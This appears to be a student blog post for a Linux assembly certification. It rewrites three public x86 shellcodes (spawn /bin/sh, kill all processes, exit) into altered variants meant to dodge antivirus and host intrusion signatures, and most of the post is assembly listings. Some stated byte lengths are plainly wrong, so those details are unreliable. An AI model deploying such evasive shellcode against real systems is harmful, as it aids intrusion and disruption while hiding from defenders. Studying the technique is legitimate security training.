Polymorphic Shellcode

4 minute read

The 6th assignment for the SLAE certification, is to take 3 samples from the shell-storm database, and create polymorphic shellcodes of them. The shellcode on it’s own directly from the webiste will more than likely get detected by any AV or HIDS device, that’s where this assignment comes in. If we were to change the way that the shellcode operates, but keep it’s core function, we can try and bypass any of those signature based detectors.

Let’s jump into the samples!

x86 Linux execve(/bin/sh)

Let’s take a look at the original shellcode.

  • Shellcode Length: 28
global _start

section .text

_start:

	xor eax, eax
	push eax
	push 0x68732f2f
	push 0x6e69622f
	mov ebx, esp
	mov ecx, eax
	mov edx, eax
	mov al, 0xb
	int 0x80
	xor eax, eax
	inc eax
	int 0x80

Pretty simple shellcode, so I will not go into too much detail on how it works. Plenty of stuff we have seen before, pushing dword’s onto the stack for /bin//sh', setting the syscall` value. This shellcode, weirdly, zeroes out the other main registers without really using them. This may be some sort of obfuscation to hide the real operations within the noise, but for our polymorphic shellcode, we will not be doing that.

Let’s see the updated, polymorphic shellcode.

  • Shellcode Length: 23
; Author: Anubis
; SLAE

global _start

section .text

_start:

	xor ebx, ebx ; Used ebx instead of eax
	push ebx
	push 0x68732f2f
	push 0x6e69622f
	mov ebx, esp ; After this line, no need to zero out any othe registers
	mov al, 11 ; Ascii number instead of hex
	int 0x80
	mov al, 1
	int 0x80

We can go through some of the major points, but the comments speak for themselves for the most part.

We used EBX instead of EAX, pushed the same dword’s, got rid of the XOR’s that weren’t necessary, and used the decimal value for the syscall rather than the hex.

Kill All Processes

This was a really fun shellcode to play with. It does just as it says and makes everything stop and brings you back to the log in screen. I have to say, I was impressed by how Ubuntu handled this kind of kill spree!

Let’s take a look at the original shellcode.

  • Shellcode Length: 11
global _start

section .text

_start:

	push 37
	pop eax
	push byte -1
	pop ebx
	push byte 9
	pop ecx
	int 0x80

This is a really simple shellcode (another reason why I enjoyed re-writing it) that doesn’t require a lot. It puts the syscall value onto the stack, puts it into EAX; puts -1 onto the stack and puts it into EBX; then puts 9 onto the stack and then puts it into ECX.

Let’s now take a look at how I changed this up a bit.

Shellcode Length: 3

global _start

section .text

_start:

	mov al, 37 ; Load syscall straight into al
	mov ebx, 0 ; Set EBX to 0
	sub ebx, 1 ; Make EBX -1
	mov ecx, 9 
	int 0x80

So the first thing that might stick out is the shellcode length. It says 3. The shellcode does contain some nulls in it, which I thought would pose an issue, but after putting the shellcode into the binary and executing it, it worked just as it did with the original! It did take a few seconds longer to actually kill everything, so that is one drawback and could be refined if I had more time…

Anyway, let’s get into the explanation. We first but the syscall value straight into al, rather than putting onto the stack and then POPing it into EAX. Then we set EBX to 0, and the do the sub command to EBX in order to get the value of -1. Then, just load 9 straight into ECX.

And this executes with all the hilarity of the original! Onto the last sample.

Exit Shellcode

I thought this would be an interesting one to tackle since it doesn’t have any malicous effects and is pretty simple. Let’s start by looking at the original shellcode.

  • Shellcode Length: 3
global _start

section .text

_start:

	inc eax
	mov ebx, 23
	int 0x80

Very very simple stuff. Just loads 1 into EAX and then an arbitrary number into EBX. This arbitrary number will be what the exit value returns. Let’s quickly run this binary to see how it works.

anubis@slae:~/SLAE/Assignment_6/exit_shellcode$ ./exit
anubis@slae:~/SLAE/Assignment_6/exit_shellcode$ echo $?
23
anubis@slae:~/SLAE/Assignment_6/exit_shellcode$

As you can see, it runs with no output but, examining the return value shows that 23 was loaded and returned.

Let’s see how we can change this. Here is the updated shellcode.

  • Shellcode Length: 2
global _start

section .text

_start:

	mov eax, 222 ; Random number into EAX
	push 222 ; Random number onto stack
	sub eax, 220 ; Make EAX 2
	pop ebx ; Put random number from stack to EBX
	sub eax, 1 ; Make EAX 1
	int 0x80 ; Execute

So for this one, due to it’s simplicity, I had to get a bit creative.

I first loaded a random number into EAX. Then I put the same random number onto the stack. Following that, I subtracted 220 from 222 to make EAX equal 2. Then I took the 222 from the stack and put it into EBX. Then subtracting 1 from EAX then creates the syscall value for exit. When we execute this, it should return the value 222. Let’s see this in action.

anubis@slae:~/SLAE/Assignment_6/exit_shellcode$ ./exit_new 
anubis@slae:~/SLAE/Assignment_6/exit_shellcode$ echo $?
222
anubis@slae:~/SLAE/Assignment_6/exit_shellcode$

Perfect! It works! And we have created a lot of hoops to make any detection a bit harder.

And that is all of them. The next post will be the last one for the SLAE! See you then!


This blog post was created as per the requirements of the Security Tube Linux Assembly Expert certification.

Student ID: SLAE-1406

Please see https://github.com/AnubisSec/SLAE for all the source files mentioned on this site.

Updated: